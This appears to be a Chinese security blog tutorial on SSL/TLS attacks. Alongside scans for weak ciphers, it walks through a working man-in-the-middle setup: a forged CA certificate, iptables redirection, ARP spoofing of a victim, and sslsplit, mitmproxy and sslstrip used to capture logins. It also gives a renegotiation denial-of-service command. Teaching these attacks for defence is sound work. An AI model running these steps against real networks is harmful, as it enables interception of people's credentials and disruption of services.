SSL_TLS 攻击原理解析

运维安全 2019-11-10

本文主要描述 HTTPS 中对于 ssl/tls 加密的攻击手法,什么是 HTTPS 呢?百度百科的解释如下:

HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版。即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。

0x01 知识铺垫

ssl/tls 用途

1、为实现 CIA (保密性, 完整性, 可用性)

2、解决信息传输过程中数据被篡改,窃听

3、通过,密钥交换算法,对称加密,非对称加密,单向加密 (HASH) 手段进行加密

常见的攻击方式

1、降级攻击

2、解密攻击(明文, 证书伪造)

3、协议漏洞, 实现方法的漏洞, 配置不严格

SSL/TLS 应用场景

1、http, 称为 https

2、邮件传输(服务器间, 客户端与服务器间)

3、数据库服务器间

4、LDAP 身份认证服务器间

5、SSL VPN

6、DRP 通信过程的加密和身份认证

加密过程

1、协商加密协议

2、获取公钥证书

3、验证公钥证书

4、交换会话秘钥

5、ssl连接建立完成,使用加密传输

详细叙述:

1、浏览器将自己支持的加密规则(也就是 CipherSuite )发给服务器

2、服务器端收到请求,然后从客户支持的 CipherSuite 中选出一个应答,并发送给客户端公钥证书和选用的 HASH 算法

3、客户端收到公钥之后,利用自己的信任的根证书对收到的公钥进行验证.若通过,客户端随机生成对称密钥 (Pre-Master secret),通过服务器发给客户端,然后使用公钥对对称密钥进行加密,并计算连接中全部报文信息的 hash ,再利用生成的对称密钥对 hash 值加密,然后把公钥加密的对称密钥及对称密钥加密的 hash 值发送给服务器.

4、服务器利用自己的私钥对利用公钥加密的对称密钥进行解密,得到对称密钥. 再利用对称密钥解密 hash 值,对 hash 值进行验证.在验证成功后,会返回给客户端 Finish 报文。(至此,ssl 连接建立成功)

5、ssl 连接建立完成之后信息的传输加密过程是这样的:

客户端:先用对称密钥加密要传输的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公钥对 hash 值进行加密,之后把对称密钥加密了的信息和利用公钥加密后信息的 hash 值,传输给服务器.

服务器: 与客户端基本相同,不过把公钥加密换做私钥加密。

简单图示

img

WireShark来分析回话过程

img

ssl 的弱点

1、ssl 是不同的对称、非对称、单项加密算法的组合加密实现(cipher suite)

2、服务器为实现更好的兼容性, 支持大量的过时的 cipher suite

3、协商过程中可能强迫降低加密强度

4、现代处理器的计算性能使可再可接受的时间内破解过时的加密算法

0x02 HTTPS 弱点扫描

这里主要针对弱 cipher suite 的弱加密组合和历史漏洞(如 heartbleed )进行扫描,常见工具如下:

openssl

openssl s_client connect www.baidu.com:443

检查支持的不安全的 cipher

openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443

sslscan

自动识别 ssl 配置错误, 过期协议, 过时的 cipher suite, 默认检查 crime, heartbleed 漏洞, 绿色表示安全, 红色,黄色需引起注意:

sslscan --tlsall www.baidu.com:443

分析证书详细信息

sslscan --show-certificate --no-ciphersuites www.baidu.com

sslyze

检查 ssl 过时版本, 检查存在弱点的 cipher suite, 扫描多站点时,支持读自文件,检查是否支持回话恢复

sslyze --regular www.baidu.com:443

nmap

nmap --script=ssl-enum-ciphers.nse www.baidu.com

当然,nmap 还有其他检查 ssl 的脚本

在线查询

https://www.ssllabs.com/ssltest

0x03 SSL 中间人攻击

攻击者告诉目标机自己是网关,同时 NAT 转发目标机的信息给网关.

图解

img

图是网络上的,图示很赞.(侵删)

实现中间人攻击手段

为实现攻击者插入到被攻击者和服务器通信链路中的手段

1、ARP 欺骗

2、DHCP服务器

自己搭建一个 DHCP 服务器,如果攻击者的 DHCP 服务器与被攻击者的距离比网关与被攻击者的距离近才可行,会有一个接受先响应者的就近原则

3、通过 ICMP, STP, OSPF 协议攻击 欺骗 ICMP 重定向, STP 的根, OSPF 的默认路由

4、理论可行的(操作前提是先控制被攻击者): 修改被攻击者网关, 修改被攻击者 DNS, 修改被攻击者 hosts

ssl 攻击前提

1、客户端信任伪造证书

客户端禁止显示证书错误, 被攻击者自己点击信任, 攻击者控制了客户端,强迫信任证书.

2、攻击者控制了证书颁发机构,拿到合法证书(当然,也可以合法的花钱购买)

攻击演示

1、伪造证书

生成证书私钥:

openssl genrsa -out ca.key 2048

利用私钥,生成根证书

openssl req -new -x509 -days 999 -key ca.key -out ca.crt

这里需要填写信息,可以仿照真实证书信息填写.

2、启动路由

sysctl -w net.ipv4.ip_forward=1

echo 1 > /proc/sys/net/ipv4/ip_forward

3、配置 iptables 的 nat 表

iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 这是最重要的一条 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S iptables -t nat -L # 确认

注意 攻击者的 80,443, 587 等端口不能被其它程序占用.

4.arp 欺骗

攻击者

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

被攻击者:

img

上面是欺骗前的,下面是欺骗后的。

5、sslsplit

透明的 ssl/tls 中间人攻击工具 对客户端伪造服务器,对服务器伪装客户端,伪装服务器时需要证书,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中间人攻击

mkdir -p test/log sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

被攻击者访问 HTTPS 网站

img

为了演示, 这里就点继续访问吧.

img

攻击者可以从日志中查看到被攻击者传输的内容, 但是请注意不是所有信息都是那么明朗,比如淘宝,百度等的密码栏会先利用其他加密组件进行加密然后才进行传输,我们能看到的只是传输过程的明文信息。

img

补充

如果不喜欢 sslsplit 还可以选其它工具,同样是 arp 欺骗,然后端口转发,之后使用 ssl 透明代理工具

mitmproxy

开启路由:

echo 1 > /proc/sys/net/ipv4/ip_forward

端口转发:

iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080

arp 欺骗

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

启用 mitmproxy

mitmproxy -T --host -w logfile.log

img

img

依然会报证书错误,不过在没有在没有加密组件的情况下,可以直接获取用户名和密码。

sslstrip

注意:此工具直接将客户端到中间人之间的流量变为明文,其它准备步骤相同,然后执行:

sslstrip -l 8080

img

这样可以把 https 网站转化成 http,不再报证书错误。

尤其对手机而言,更不会注意到地址栏的信息,所以相对隐蔽一些。

查看当前目录生成的 sslstrip.log 文件(默认只记录 post 的数据)可查看 post 的数据。

img

0x04 SSL/TLS 拒绝服务攻击

主要是利用 ssl-renegotiation(如果禁用下面这个攻击工具就不能直接利用了), 不断的重协商,增加服务器负担,而不是流量式的攻击

thc-ssl-dos ip 443 --accept

0x05 SSL/TLS 的安全前提

SSL/TLS 的安全基础是私钥的保密,这里以一道 CTF 题来做引证。

题目假设: 获得了服务器私钥, 和抓包的得到加密流量

1、WireShark 打开流量包:

wireshark`: `Preferences -> Protocols -> SSL -> Edit RSA keys list

输入私钥的文件地址信息

img

然后可以右键一个 ssl 包,追踪流(选中 ssl 流)

img

0x06 总结

tls/ssl 大大的提高了各种应用的安全性,提高了各种劫持破解的成本。但是不是百分百的安全,当访问一个网站的时候,如果遇到证书错误,如果不是有足够的理由去信任的,请直接拒绝访问。新的技术引入的同时,如果不注意正确配置,还会造成新的攻击面,如本文提到的拒绝服务攻击,所以在配置 ssl 时,注意关闭客户端发起的重协商请求。同时要注意服务器私钥的保管,如果泄露了,那么 SSL 的一切安全基础也没有了。最后,希望本文对大家有一点点力量。


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论